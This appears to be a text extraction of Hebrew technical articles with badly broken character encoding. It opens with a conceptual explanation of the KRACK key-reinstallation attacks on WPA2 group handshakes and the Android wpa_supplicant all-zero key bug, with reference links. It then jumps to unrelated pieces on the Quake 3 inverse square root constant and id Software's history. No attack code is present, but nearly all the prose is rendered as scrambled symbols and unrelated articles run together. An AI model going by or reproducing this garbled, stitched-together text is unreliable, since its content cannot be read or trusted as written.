˸˞ˤ ˸ˣ˷˰˪ ˪˩ˣˮ ˞˪ ˣˮ˪ ˫˧˧˵ˢ ˰ˡ˧ˢ ˦˯ ˫˰ ,˸˷˶ˢ ˪˪˩ -  ˥˸˲ˬ ˫˰ ˸˶˟ˡˬ ˢ˴˵ ˸ˡˬ˰ ˪˩ ˧˶ˢ ˧˩

 ˸˶˥˞ ˢˡˬ˰ ˶˟˰ ˪˞ ˢ˪˧˟˥ ˥˪˷˞ ˫˞ ˫˷ ˨˩ .ˢˮˣ˷ ˢ˥˧˷-  ˸˞ ˧˶ˢ ˧˩ ,˧˸ˣ˞ ˭˧˟ˢ˪ ˪˩ˣ˸ ˞˪ ˞˧ˢ

ˢ ˨˧˪ˢ˸-4Way Handshake .˟˸ˮˢ ˪ˣˬ ˵˶ˣ ˨˞ ˰˴˟ˬ ˧ˮ˞ 

ˢ ˸ˣ˥˸˲ˬ ,˷ˡ˥ ˸ˣ˥˸˲ˬ ˡˬ˴ ˪˪ˣ˩˷ ˱˯ˣˮ ˭ˣˮˠˮˬ ˭˵˸˟ ˣ˯˧ˮ˩ˢ ,ˢ˸ˣ˞ ˶ˣ˸˲˪ ˧ˡ˩ˣ .ˢ˧˰˟ ˭˩˞ ˸˞ˤˣ-

Group. 

ˢ ˨˧˪ˢ˸ ˸˞ ˸ˬ˧˧˯ˬ ˢ˴˵ ˸ˡˬ˰ ˶˷˞˩-4Way Handshake  ˶˲˯ˬ ˢ˪˧˟˥ ˫˰ ˡ˥˧˟ ,ˢ˧˪˞ ˶ˡ˷ˬ ˟˸ˮˢ3 

 ˫˷˟ ˥˸˲ˬGTK  ˪˷ ˶ˣ˴˧˵)Group Transient Keyˢˬ ˶ˤˠˮ ˶˷˞ ˥˸˲ˬ ,(-GMK  ˪˷ ˶ˣ˴˧˵)Group 

Master Keyˢ ˸˟ˣ˸˩ˬ ˶ˤˠˮˢ ,˟˸ˮ ˪˩ ˪˰ ˰ˣ˟˵ ˥˸˲ˬ ˞ˣˢ˷ ,(-MAC  ˫˰ ˟ˣ˪˧˷˟ ˣ˪˷Nonce  ˢˮ˸˷ˬ

 ˫˷˟GNonce. 

ˢ ˸ˣ˪˧˟˥ ˥ˮ˰˲˪ˣ ˭˧˲˴ˢ˪ ˸ˮˬ ˪˰ ˢˤ ˥˸˲ˬ˟ ˸˷ˬ˸˷ˬ ˢ˴˵ˢ ˸ˡˬ˰-Broadcast/Multicast  ˪˰ˣ˲˟)

.(ˢˤ ˶ˬ˞ˬ˟ ˪˩˪ ˯˥˧˧˸ˮ ˞˪ ˨˞ ,˫ˢ˟ ˷ˣˬ˧˷ ˢ˷ˣ˰ˣ ˫˧˷ˡ˥ ˸ˣ˥˸˲ˬ ˧ˮ˷ ˣˮˬˬ ˸˶ˤˣˠ ˞˧ˢ 

 ˥˸˲ˬ ˶ˤˣˠ ˟˸ˮˢGTK ˰ ˢ˸ˣ˞˷ ˥˧˦˟ˢ˪ ˸ˮˬ ˪˰) ˸˷˶ˢ ˸˞ ˸˟ˤˣ˰ ˢ˴˵ ˸ˡˬ˰˷ ˫˰˲ ˪˩˟ ˷ˡ˥ ˢˡˬ

 ˸ˣ˶˟ˣ˥ˬˢ ˸ˣˡˬ˰ˢ ˪˪˩˪ ˢ˸ˣ˞ ˶ˡ˷ˬˣ (˸˷˶˪ ˸˶˟ˣ˥ˬ ˢˮ˧˞ ˞˧ˢ ˶˷˞˩ ˸ˣ˪˧˟˥ ˥ˮ˰˲˪ ˪˩ˣ˸ ˞˪ ˢ˟ˤ˰˷

 ˫˰ ˡ˥˧˟MIC ˢ ˫˰ ˫˧ˮ˲˴ˣˬ ˪"ˮˢ ˸ˣ˥˸˲ˬˢ)-PTKˢ ˸˞ ˸˞ˡˣˣˬ ˢˡˬ˰ ˪˩ ,(-MIC  ˸˥˪ˣ˷ˣAck  ˟˸ˮ˪

 ˸ˣ˰ˡˣˢ ˶ˡ˷˪ "˵ˣ˶˧ ˶ˣ˞" ˭˸ˬ ˸˟ˣ˦˪Broadcast/Multicast ˬ ˞˪ ˟˸ˮˢˣ ˢˡ˧ˬ˟ .ˢˤ ˥˸˲ˬ ˫˰ ˸˞ ˪˟˵
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-sAck  ˫˰ ˫˰˲ ˪˩) ˢ˪˧˟˥ˢ ˢ˸ˣ˞ ˪˷ ˫˧˲˯ˣˮ ˫˧˶ˣˡ˧˷ ˰˴˟˧ ˞ˣˢCounter  ˪ˣ˵ˣ˦ˣ˶˲˪ ˶˟˰ˣˬˢ ˢˮˣ˷

ˢ ˸˞ ˯ˣ˲˸˪˷ ˨˩ ,ˢˮ˲˴ˢˢ-Retranamit  ˫˧˞˶ˣ˵ ˢˤ ˨˧˪ˢ˸˪ .(˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˥˦˟˞˟ ˰ˠˣ˲ ˞˪ ˪"ˮˢ

 ˫˧ˬ˰˲˪2Way Handshake. 

 ˢ˲˵˸ˬˢ ˪˷ ˦˲˯ˮˣ˵ˢ ˣ˸ˣ˞ ˸˞ ˪˲˩˷˪ ˭˸˧ˮ ˧˩ ˢ˪˧ˠ ˫˧˶˵ˣ˥ˢ ˡˬ˴ ˧˶˧˷˩ˬ˪ ˫ˣ˶ˠ˪ˣ ,ˢˤ ˨˧˪ˢ˸ ˪˰ ˫ˠ

 ˰˴˟˪ ˢ˴˵ˢReinstallation ˢ ˸ˣ˥˸˲ˬ ˫˰ ˫ˠ-Group ˶˟˩˷ ˥˸˲ˬ ˸ˣˮ˧˵˸ˬ ˢ˴˵ˢ ˸ˣˡˬ˰ ˶˷˞˩ˣ ,

 ˶˟˰˟ ˭˵˸ˣˢ- ˢ ˸˞ ˸ˣ˯˲˞ˬ ˭ˢ-Counter  ˶ˤˣ˥ ˷ˣˬ˧˷ ˸ˣ˷ˣ˰ ˢ˷˰ˬ˪ ˨˩ˣ ˢˮ˲˴ˢˢ ˭ˣˮˠˮˬ˪ ˶˟˰ˣˬ˷

 .˥˸˲ˬˢ ˣ˸ˣ˞˟ ˣˠˮ˧˟J 

 ˪˰ ,˪˰ˣ˲˟ ˢ˲˵˸ˬˢ ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰ ˸˰ˡˣˢ ˸˞ ˢ˴˵ ˸ˡˬ˰˪ ˥˪˷˧ ˟˸ˮˢ ˣ˟ ˢ˶˵ˬ˪ ˸ˣ˩˥˪ ˫˧˶˵ˣ˥ˢ

-sGroup  ,ˢ˴˵ˢ ˸ˡˬ˰˪ ˰˧ˠˢ˪ ˢˮˬˬ ˰ˣˮˬ˪ ,(ˢ˵˸ˮ˸ˢ ˸˶˥˞ ˢ˴˵ ˸ˡˬ˰˷ ˢ˶˵ˬ˟ ,˥˧ˮˮ) ˢˮˣ˷˞˶ˢ

ˢ ˸˞ ˭˩ˡ˰˪ ˣ˪ ˫ˣ˶ˠ˸ˣ ˢ˴˵ˢ ˸ˡˬ˰˪ ˰˧ˠ˸ ˭˩˷ ˸˶˥˞ ˢ˰ˡˣˢ ˥˪˷˧ ˟˸ˮˢ˷ ˸ˣ˩˥˪ˣ-GTK  .ˣ˸ˣ˷˶˟˷

 ˭˩ˬ ˶˥˞˪ˣ ˢ˪˧˟˥ ˶ˡ˷˧ ˞ˣˢ˷ ˸ˣ˩˥˪-  ˶ˡ˷˪ .ˣ˧˪˞ ˥ˣ˪˷˪ ˟˸ˮˢˬ ˣ˰ˮˬ˷ ˸˧˶ˣ˵ˬˢ ˢ˪˧˟˥ˢ ˸˞ ˢ˶ˤ˥˟

ˢ ˣ˸ˣ˞ ˸˞ ˭˧˵˸ˢ˪ ˢ˴˵ˢ ˸ˡˬ˰˪ ˫ˣ˶ˠ˸ ˣˤ ˢ˪˧˟˥ ˸˪˟˵-GTK ˢ ˟ˣ˷ ˨˩ˣ ,˷ˡ˥ˬ-Counter  ˶˷˞˩ ˯˲˞˸˧

 ˣ˸ˣ˞˟ ˷ˣˬ˧˷ ˢ˷˰ˮGTK. 

:ˢ˲˵˸ˬˢ ˧˟˪˷ ˫ˢ ˣ˪˞ˣ 

 

 :˶ˣ˵ˬ]https://papers.mathyvanhoef.com/ccs2017.pdf[ 

ˢ ˥˸˲ˬ ˸˞ ˫˧ˮ˧˵˸ˬ ˶˷˞ ˫˧˟˸ˮ :˫˧ˠˣ˯ ˧ˮ˷˪ ˫˧˵˪˥˸ˬ ˫˧˟˸ˮˢ ˧˩ ˫˧˶˵ˣ˥ˢ ˣ˪˧ˠ ,˷ˣˬ˧ˬˢ ˸˰˟-GTK 

ˢ ˸˞ ˢ˴˵ˢ ˸ˣˡˬ˰ ˪˪˩ˬ ˫˧˪˟˵ˬ ˫ˢ˷ ˧ˮ˲˪ ˫˧˷ˡ˥ˢ-Ack ˢ ˪˰-GTK  ˶˷˞ ˫˧˟˸ˮˣ ˣ˥˪˷ˮ˷ ˫˧˷ˡ˥ˢ

ˢ ˸ˣ˪˧˟˥ ˪˪˩ ˸˪˟˵˪ ˫˧˩˥ˬ-Ack  ˭˩ˬ ˶˥˞˪ ˵˶ˣˢ ˸˞ ˫˧ˮ˧˵˸ˬ-GTK ˫˧˟˸ˮ ˪˷ "ˢ˥˲˷ˬ" ˪˩ ˶ˣ˟˰ ,

˸˸ ˢ˥˸ˣ˲-.˶˸ˣ˧ ˭˧˧ˮ˰ˢ ˪˰ ˦˶˲ˮ ˞˪ ˨˞ ,ˢ˶˵ˬˢ ˫˰ ˡˡˣˬ˸ˢ˪ ˰ˡ˸˷ ˢ˲˵˸ˬ 

https://papers.mathyvanhoef.com/ccs2017.pdf
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ˢ ˪˷ ˶ˤˣˬˢ ˢ˶˵ˬˢ-Android ˢ˪˧˪ ˸˰˷˟ 

 ˢˠ˧˶˥ ˸ˣˠˢˮ˸ˢ ˢ˸˪ˠ˸ˢ ,˶˵˥ˬˢ ˨˪ˢˬ˟ .˞˟ˢ ˢ˶˵ˬˢ ˞ˣˢ ˢˤ ˶ˬ˞ˬ˟ ˦˶˲ˮ ˣ˧˪˰ ˭ˣ˶˥˞ˢ ˢ˶˵ˬˢ

 ˸˧˧˶˲˯ ˪˷ ˢˡˣ˵˲˸˟wpa_supplicant  ˸ˣ˞˯˶ˠ2.4-2.5 ˢ ˸˧˧˶˲˯)-WPA ˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˢ˟-Android 

 ˞˯˶ˠˬ6  ˶˲˯ˬ ˢ˷˵˟ ˶ˣˡ˧˷ ˸˰˟ .(ˢ˪˰ˬˣ3  ˸˞ ˯˲˞˪ ˸˶˥ˣ˟ ˸˩˶˰ˬˢ˷ ˢ˞˶ˮ ,ˣ˪˪ˢ ˸ˣˮ˥˸˪ ˟ˣ˷

) ˸ˣ˶˷˵˸ˢ ˢˮ˲˴ˢ˪ ˡ˰ˣ˧ˬˢ ˥˸˲ˬˢ ˸ˣ˶ˡˠˢTK ˪˪ˠ˟ ˸ˬ˶ˠˮ ˣˤ ˢ˰˲ˣ˸ .˫˧˯˲˞˟ ˣ˸ˣ˞ ˢ˲˧˪˥ˬˣ (

ˢˬ ˵ˣ˥ˬ˪ ˢ˴˪ˬˢ ˢ˞˴˧ ,˭˵˸ˢ ˸ˣ˞˯˶ˠˬ ˸˥˞˟˷ ˵ˣ˧ˡ˟ ˢˤˣ ,˸˥˞ ˫˰˲ˬ ˶˸ˣ˧ ˪˟˵˸ˢ˷ ˥˸˲ˬ ˪˩ ˭ˣ˶˩˧ˤ

 (: ˭˞˩ ˟˴ˬˢ 

 ˪˷ ˣ˪˪ˢ ˸ˣ˞˯˶ˠ˟ ˸ˣ˷ˬ˸˷ˬˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ˷ ˞˧ˢ ˥˸˲ˬˢ ˯ˣ˲˧˞ ˪˷ ˸ˣ˰ˬ˷ˬˢwpa_supplicant 

 ,˫˧˶˵ˣ˥ˢ ˡˬ˴ ˧˲˪ .ˢˮ˲˴ˢˢ ˪˷ ˢˡˣ˵˲˸ ˸˞ ˢ˷˰ˬ˪ ˢ˩˪ˢ ˣ˪˦˟˧%31  ˫˧˰˧ˠ˲ ˫˪ˣ˰˟ ˫˧ˮˣ˲˦˶˞ˬ˯ˢˬ

.ˣˤ ˢ˲˵˸ˬ˪ 

 

ˤ˞ é ˢˬ?˫˧˷ˣ˰ 

 ˪˰˫˧˦ˮˣˣ˪˶ˢ ˢˮ˩ˣ˸ˢ ˧ˮˣ˩ˡ˰ ˸˞ ˭˧˵˸ˢ˪ ˷˧ ˣ˪˞ ˸ˣ˲˵˸ˬ ˧ˮ˲ˬ ˭ˮˣˠ˸ˢ˪ ˸ˮˬ  ˧˲˩ .˸ˣˮˣ˷ˢ ˸ˣ˶˟˥ˢ ˪˷

 ˪˷ ˷ˣˬ˧ˬ˟ ˸˞˴ˬˮ ˢˬ˴˰ ˢ˷˪ˣ˥ˢ ,ˣˮ˶˩ˤˢ˷wpa_supplicant  ˭˞˩ ˭˧˞ ˭˩˪ˣ ˶˸ˣ˧ ˸ˣˢˣ˟ˠˢ ˸ˣ˟˩˷˟ ˞˪ˣ

˟ ˣˮ˪ˤˬ˪ .˨ˣ˶˰˪ ˣ˞ ˸ˣˮ˷˪ ˢ˶ˡˠˢ ˢˤ˧˞-reddit  ˷˧ ˶˟˩megathread  ˫˧˵˲˯ ˪˷ ˸ˮ˩ˡˣ˰ˬ ˢˬ˧˷˶ ˫˰

˦ˮˣˣ˪˶ ˭ˣ˵˧˸ ˣ˞˧˴ˣˢ ˶˟˩˷ ˣ˞ ˭ˣ˵˧˸ ˪˰ ˫˧ˡ˟ˣ˰ ˶˷˞˧.  

 ˸˷˶˪ ˶˟˥˸ˢ˪ ˫˧˟˧˧˥ ˞˪ ˫˸˞ ˫˞ ,˸˷˶ ˱˞ ˪˰ ˣ˩ˬ˯˸ ˪˞ ,˫˧ˮˡ˷˥ ˸ˣ˧ˢ˪ ˢ˟˧˯ ˡˣ˰ ˢˮ˧ˢ ,˱˯ˣˮ˟

 ˸˞ˤ ˸˧˦ˣ˥˪˞ˢ- ˸ ˪˞.˸˞ˤ ˣ˷˰ 

 ˫˧˪ˣ˩˧ ˫˸˞ ˫˞- ˟ ˷ˣˬ˧˷ ˣ˷˰-VPN. 

 

˸ˣ˲˯ˣˮ ˸ˣˡˣ˵ˮˣ ˫ˣ˩˧˯ 

 ˵˶ ˞˪ .ˡˣ˞ˬ ˥ˣ˦˟ ˟˷˥ˮ ˢ˩ ˡ˰˷ ˢ˥˦˟˞ ˪ˣ˵ˣ˦ˣ˶˲ ˪˰ ˫˧ˡ˵˸ ˸˶˯˥ ˢ˲˵˸ˬ˟ ˶˟ˣˡˬ ˸ˣ˰ˡˢ ˪˩˪

 ˶˲˯ˬ ˪˷ ˪ˣ˴˧ˮ ˞˪˞ ,˧˸ˮ˩ˣ˸ ˷ˣˬ˧ˬ˟ ˸ˣ˧˰˟ ˣ˞ ˭ˣ˶˩˧ˤ ˸ˣ˯˧˶ˡ ˭˞˩ ˭˧˞) ˡˣ˞ˬ ˸˧˦ˮˠ˪˞ ˪"ˮˢ ˢ˲˵˸ˬˢ˷

 ˸ˣ˧˰˟Design  ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˢˤˣ .ˡˣ˞ˬ ˧˸ˣ˰ˬ˷ˬ ˢ˪˷ ˦˵˲˞ˢˣ ˪ˣ˴˧ˮ˪ ˢ˪˵ ˡˣ˞ˬ ˫ˠ ˞˧ˢ ,(˪ˣ˵ˣ˦ˣ˶˲˟

.˸˧˸ˣ˩˧˞ ˢ˲˵˸ˬˬ ˸ˣ˷˧˶ˡˢ 

 .˶˵˥ˬˢ ˨ˬ˯ˬ˟ ˫˯˶ˣ˲ ˶˷˞ ˰ˡ˧ˬˢ ˪˪˩ ˸˞ ˣˮ˞˟ˢ ˞˪ ˧˩ ˭˧˧˴˪ ˣˮ˪ ˟ˣ˷˥ ,˶ˬ˞ˬ˟ ˭˧ˣ˴ ˶˷˞ ˪˩˪ ˱˯ˣˮ˟

 ˸ˣ˟ˣ˷˥ ˭ˢˣ ˭ˢ˟ ˣˮ˰ˠˮ ˞˪˷ ˸ˣ˲˯ˣˮ ˸ˣ˲˵˸ˬ ˶˲˯ˬ ˸ˣˬ˧˧˵ ˣˬ˴˰ ˨ˬ˯ˬ˟˰ˬˣ ˸ˣˮ˧˧ˮ ˢ˲˧˵˸ ˭ˣˠ˩ ,˸ˣ˥˲ ˞˪

ˢ ˪˷-Fast BSS Transition Handshake˫˧˴˧˪ˬˬ ˣˮ˞ ,  ˫ˣ˥˟ ˶˵˥ˬˢ ˨ˬ˯ˬ ˸˞ ˞ˣ˶˵˪ ˫˧˞˶ˣ˵ˢ ˪˩˪

.˦˶˲˟ ˣˤ ˢ˲˵˸ˬˣ ˞˷ˣˮˢ ˪˷ ˢ˞˪ˬ ˢˮ˟ˢ ˸˟ˣ˦˪ (˸ˣ˶ˣ˵ˬ˟ ˭ˣ˷˞˶ ˶ˣ˷˧˵˩ ˰˧˲ˣˬ) ˧˶ˣ˵ˬˢ 

https://www.reddit.com/r/KRaCK/comments/77kz7x/vendor_patch_status_megathread/
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˸ˣ˶ˣ˵ˬ ˸˲˯ˣˮ ˢ˞˧˶˵˪ ˫˧˶ˣ˷˧˵ˣ 

¶ http://papers.mathyvanhoef.com/ccs2017.pdf 

¶ https://www.krackattacks.com 

¶ http://blog.erratasec.com/2017/10/some-notes-on-krack-attack.html 

¶ https://www.reddit.com/r/KRaCK 

¶ https://github.com/vanhoefm/krackattacks-test-ap-ft 

¶ https://asecuritysite.com/encryption/ssid_hm 

¶ https://www.ins1gn1a.com/understanding-wpa-psk-cracking 

¶ Detailed documentation of CCMP 

¶ https://distrinet.cs.kuleuven.be/news/2015/AdvancedWiFiAttacksUsingCommodityHardwar

e.pdf 

¶ https://www.reddit.com/r/KRaCK/comments/77kz7x/vendor_patch_status_megathread/ 

¶ https://en.wikipedia.org/wiki/KRACK 

 
  

http://papers.mathyvanhoef.com/ccs2017.pdf
https://www.krackattacks.com/
http://blog.erratasec.com/2017/10/some-notes-on-krack-attack.html
https://www.reddit.com/r/KRaCK
https://github.com/vanhoefm/krackattacks-test-ap-ft
https://asecuritysite.com/encryption/ssid_hm
https://www.ins1gn1a.com/understanding-wpa-psk-cracking
http://etutorials.org/Networking/802.11+security.+wi-fi+protected+access+and+802.11i/Part+II+The+Design+of+Wi-Fi+Security/Chapter+12.+AES+CCMP/How+CCMP+Is+Used+in+RSN/
https://distrinet.cs.kuleuven.be/news/2015/AdvancedWiFiAttacksUsingCommodityHardware.pdf
https://distrinet.cs.kuleuven.be/news/2015/AdvancedWiFiAttacksUsingCommodityHardware.pdf
https://www.reddit.com/r/KRaCK/comments/77kz7x/vendor_patch_status_megathread/
https://en.wikipedia.org/wiki/KRACK
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 ˧˶ˣ˸˯ˬˢ ˰ˣ˟˵˟ ˞˪˲ˣˬˢ ˢ˷˰ˬˢ0x5f3759df 

˸˞ˬ '˳˧˟ˣ˶ˡˮ˯˩˪˞ ˧ˡˠ '˶ˡ 

 

ˢˬˡ˵ˢ 

˫ˢ˪˷ ˭˧˶ˣ˸˯ˬˢ ˧˶ˣ˲˧˯ ˸˞ ˷˧ ˫˧˞˵˧˦ˬ˸ˬ˪ .˫ˢ˧ˮ˧˟ˬ ˫˯˶ˣ˲ˬˢ  ˶˧˧˲ ˦˟˶˷˷ ˢ˶˰ˢ ˢ˞˶ˮˢ ˪˩˩ ˞ˣˢ

 ˶˲˯˟ ˢ˰˧˲ˣˢ˷ ˢˮ˰˦ ˪˷ ˢ˪˪˩ˢ˷ ˶˧˰ˢ ˢ˟˷ ,ˣ˪˷ ˯ˣ˦ˮ˲ˣ˧ˡ ˪˷ "ˢ˵˧˦ˬ˸˧˶˞"ˢ ˶˲˯ ˧˪ˣ˷˟ ˢˬ˶˲ ˢˡ

˨˞ ˦˲˷ˬ˪ ˢ˞˪˲ˣˬ ˢ˥˩ˣˢ ˧ˡ˧˟"˷ˣ ˡ˧ˬ˸ ˢ˧ˣˠ˷ ˞˧ˢ  ˣˤˢ ˫˧˧˪ˣ˷ˢ ˸˶˰ˢ ."ˢ˪˧˩ˢ˪ˬ ˫˧˶˴ ˢˤ ˶˲˯ ˧˪ˣ˷

 ˶˥ˣ˞ˬ ˸˴˵ ˢ˧ˢ ˤ˞ˣ ,ˣˮˣ˟ˤ˰˟˷ ˫˧˶˲˯ˢ ˣ˞˶˵ˮ˷˩ ˵˶ ˢ˸˪ˠ˸ˢ ˞˧ˢˣ ˣ˧˧˥ ˧ˬ˧˟ ˢˬ˶˲ ˧ˡ˧ ˪˰ ˢˬ˯˶ˣ˲ ˞˪

 ,ˣ˧˸ˣ˧ˣ˟˸˩˸ˢ ˣ˞ ˣ˧˟˸˩˟ ˢ˞˴ˬˮ ˞˪ ˢˬˣˡ ˢ˥˩ˣˢ ˫ˣ˷ .˭ˣˣ˩˸ˢ ˞ˣˢ ˢ˥˩ˣˢ ˣˤ˧˞˪ ˢˬ˶˲ ˸˞ ˪ˣ˞˷˪ ˧ˡˬ

ˬ ˢ˪˰ˬ˪ ˨˷ˬ˟ˣ-350 ˫˧˞˵˧˦ˬ˸ˬˢ ˢˮ˷  ˢ˞˴ˬˮ˷˩ ˫ˠ .ˢ˥˪˴ˢ ˞˪˪ ˣ˪˷ ˦˲˷ˬˢ ˸˞ ˥˧˩ˣˢ˪ ˣ˯˧ˮ

 ˢ˥˩ˣˢˢ ˢ˸˧˧ˢ ˢˬ .ˢˬ˶˲ ˪˷ "ˢ˞˪˲ˮˢ ˢ˥˩ˣˢˢ" ˞˪ ˧˞ˡˣˣ˟ˣ ˸˟˩˶ˣˬˣ ˸˧ˮ˶ˡˣˬ ˢ˸˧˧ˢ ˞˧ˢ ,ˢ˥˩ˣˢ

ˢˬˣ˪˰˸ ?˪˪˩˟ ˫˞ ,ˢˮˣ˩ˮ ˢˮ˧˞˷ ˭˧˟ˢ ˨˧˞ˣ ˧˸ˬ ?ˢ˧˪˞ ˰˧ˠˢ ˢˬ˶˲ ˨˧˞ ?˸˧˶ˣ˵ˬˢ. 

 ˫˧ˮ˷ ˸ˣ˞ˬ ˸ˣˮ˟ ˸ˣˬˣ˪˰˸ ˣˮ˪ ˭˧˞ ˟˷˥ˬˢ ˧˰ˡˬ˟-  ˧˰ˡˬ ˧ˮ˞ ˫ˣ˧ˢ ˪˟˞ .˸˧˯˥˧ ˶˧˰˴ ˫ˣ˥˸ ˫ˢ ˟˷˥ˬˢ

 ˸ˮ˧˧ˮ˰ˬ ˞˧ˢ ˪˟˞ ˫˪ˣ˰˪ ˶˸˲˧˸ ˞˪˷ ˢ˞˶ˮ˩ ˞˧ˢ ˫ˠ˷ ,˶ˣ˷˰ˬ ˢ˪˰ˬ˪ ˸˟ ˢˬˣ˪˰˸ ˪˰ ˶˲˯˪ ˢ˴ˣ˶

 ˢ˩˩ ˫ˠ ˵˧˲˯ˬ- ˶˲˯ˬˢ ˸ˬˣ˪˰˸ 0x5f3759df  ˪˩ˬ ,˞˴ˬˮ ˢˤˢ ˡˣ˵ˢ ˰˦˵ .˰˧˲ˣˬ ˞ˣˢ ˣ˟˷ ˡˣ˵ˢ ˰˦˵ˣ

˭ˣ˷˞˶ ˱ˣˠˬ ˸ˣ˧˶˧ˢ ˵˥˷ˬ ˪˷ ˡˣ˵˟ ,˫˪ˣ˰˟ ˸ˣˬˣ˵ˬˢ Quake 3.  ˸ˮ˷˟ ˢ˪ˠ˸ˮ ˞ˣˢ2005 ˡˣ˵˷˩ ,

ˣ˸ˣ˞ ˞ˣ˴ˬ˪ ˶˷˲˞ .˟˥˶ˢ ˶ˣ˟˧˴˪ ˶˶˥ˣ˷ ˵˥˷ˬˢ ˭˞˩ ,ˢ˩˩ ˢ˞˶ˮ ˞ˣˢˣ: 

 

 ,ˣˬ˴˰ ˡˣ˵ˢ ˪˰ ˶ˣ˟˰˷ ˧ˮ˲˪ ˨˞ˢ˧˶ˣ˦˯˧ˢ ˸˴˵ ˫˰ ˪˧˥˸ˮ. 

  

http://www.gadial.net/2011/08/14/fermat_last_theorem_overview/
https://github.com/id-Software/Quake-III-Arena/blob/master/code/game/q_math.c/#L552
https://github.com/id-Software/Quake-III-Arena/blob/master/code/game/q_math.c/#L552
http://www.gadial.net/wp-content/uploads/2017/08/code.png
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˵˶˲ ˭ˣ˷˞˶ )ˣ˟˷ ˶˲˯ˬˢ ˶˩ˤˮ ˢˠ˶˰˟ ˸˧˷˞˶˟ ˣ˩˶ˡ ˶ˬ˧˧ˠ˩ ˣˮ˥ˮ˞ˣ ˫˧ˡˬˣ˪ ˨˧˞ ˫˥ˣ˪ ˫˧˴˞ˮ˟ 

ˢˮ˧˷ ˸˞ ˫˪ˣ˰ ˧˵˥˷ˬ ˟˷˥ˬˢ ˥˴ˮ˪( 

 ˭˧˧ˡ˰ ˪˟˞ ,˫˧˧ˮ˷ ˣ˞ ˶ˣ˷˰ ˶˟˩ ˫˧˧˵ ˫˧˧˷˧˞ˢ ˫˧˟˷˥ˬˢ ˫˪ˣ˰ .˫˧˰˷˸ˢ ˸ˣˮ˷ ˸˪˧˥˸˪ ˰ˠ˶˪ ˶ˣ˟˰ˮ ˣ˞ˣ˟

 ˶˸ˣ˧˟ ˟ˣ˷˥ ˦˟˧ˢ ,ˣ˧˷˩˰ ˣˬ˩ ˤ˞ .˸ˣ˶˧ˢˤ˟ ˣ˩˶ˡ ˸˞ ˷˷ˠˬ˞ˣˢ ˟˷˥ˬˢ ˧˵˥˷ˬ ˪˷ ˢ˵˧˲˶ˠˢ  ˫ˢ˪˷- 

 ˰ˡˣ˧ ˟˷˥ˬˢ˷ ˞ˡˣˣ˪ ˫ˠ ˨˧˶˴ ,ˢ˲˧ ˶˧˧˴˪ ˸˰ˡ˪ ˵˧˲˯ˬ ˞˪ .˨˟ˣ˯ˬ ˭˧˧ˮ˰ ˢˤ ˢ˵˧˲˶ˠ .˫˧˞˶ˮ ˫ˢ ˟ˣ˦ ˢˬ˩

˫˧˲˧ˢ ˫˧˶ˣ˧˴ˢ ˸˞ ˠ˧˴ˢ˪ ˶ˢˬ.  ˱˧˴˶ˣ ˵˪˥ ˳ˣ˶˧ ˵˥˷ˬˢ˷ ˭˧˦ˣ˪˥˪ ˧˦˧˶˵ ˢˤ ,ˢ˪ˣ˰˲ ˧˵˥˷ˬ ˪˰ ˶˟ˣˡˬ˷˩

 ˟ˣ˸˩˪ ˫˧˩˧˶˴˷ ˫˧˸ˮ˩˸ˬˢ :˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬ ˸˧˷˰ˮ ˰ˠ˶˩ ˸˧˸˧ˬ˞ˢ ˢˡˣ˟˰ˢ .˟ˣ˦ ˢ˞˶ˮ ˞ˣˢ˷ ˧ˡ˩ ˨ˣ˸

 ˵˥˷ˬˢ ˪˷ ˰ˣˮˬˢ ˸˞-  ˢ˵˧˲˶ˠˢ ˸ˠ˴ˢ ˸˞ ˶˷˲˞ˬ˷ ˡˣ˵ˢ ˦˶˲˟ˣ ,˪ˣ˰˲˪ ˵˥˷ˬ˪ ˫˶ˣˠ˷ ˡˣ˵ˢ- 

˲˞ ˸ˣˮ˩˸ ˪ˣ˪˰˸ ˪˩˟ ˫˧˷ˬ˸˷ˬ ˧ˡˬ ˶˸ˣ˧ ˭˧˞ ˭˧˧ˡ˰ .˧˴ˣ˪˥ ˸˧˯˥˧ ˪˩ˢ .˸ˣ˶˧ˢˬ ˸˴˵ ˡˣ˰ ˡ˶ˠ˪ ˧ˡ˩ ˧˶˷

 ˦ˣ˷˲ ˶˷˲˞˷ ˵ˣ˷˟ ˫˧ˬ˧˧˵ ˫˧˰ˣˮˬ ˭˧˞ ;˫˧ˮ˷ ˸ˣ˶˷˰ ˪˷ ˶˟˦˴ˬ ˭ˣ˧˯ˮ ˭˧˞ ;ˣ˧˪˰ ˯˯˟˸ˢ˪ ˫˧˧˵ ˡˣ˵

 ˸ˮ˷˟ .˫ˢ˟ ˷ˬ˸˷ˢ˪1991 ˢ˷ˡ˥ ˢ˶˟˥ ˢˤˢ ˫˪ˣ˰˪ ˸˲˶˦˴ˬ -  .id Software ˫˧˵˥˷ˬˢ ˸˶ˡ˯

˸˞˶˵ˮ ˫˧˞˧˴ˣˬ ˫ˢ˷ ˢˮˣ˷˞˶ˢ Commander Keen  ˸ˡ˯˵ ˫˰ ˢˮˣˬ˷ ˭˟ ˡ˪˧ ˪˷ ˣ˧˸ˣ˞˵˸˲˶ˢ˟ ˸˵˯ˣ˰ˣ

ˢ˞˶ˮ ˢˤ ˨˶˰˟ ˢ˩˩ .˳˶˞ˢ ˶ˣˡ˩ ˸˞ ˡ˧ˬ˷ˢ˪ ˫˧˯ˮˬ˷ ˫˧˶ˤ˧˧˥˟ ˣ˸ˬ˥˪ˬˣ ˣˠˣ˲ ˪˵ˬˣ ˪ˣ˟˦ˣ˲: 

 

ˣˡ ˫˪ˣ˰˟ ˷˥˶˸ˬ ˭˧˵- ˪˰ ˫˧˪˩˸˯ˬ ˣˮ˥ˮ˞˷˩ ,ˢ˦ˬ˪ˣ ˢ˪˰ˬ˪ ,ˢ˪˞ˬ˷ ,ˢˮ˧ˬ˧ ˰ˣˮ˪ ˶˷˲˞ ˣ˟˷ ˧ˡˬˬ

ˬˡˢ ˫ˢ˧˪˰˷ ˫˧˥˦˷ˬ˪ .ˡ˴ˢˬ ˫˧ˮ˧˧ˮ˰ˢ˫˧˞˶ˣ˵ ˫˧ˡˬˣ˰ ˵˥˷ˬ˟ ˸ˣ˧ˣ ˸ˣˬ˶ˣ˲˦˪˲  ˫˧˵˥˷ˬ ˫ˬ˷ ˪˰ˣ

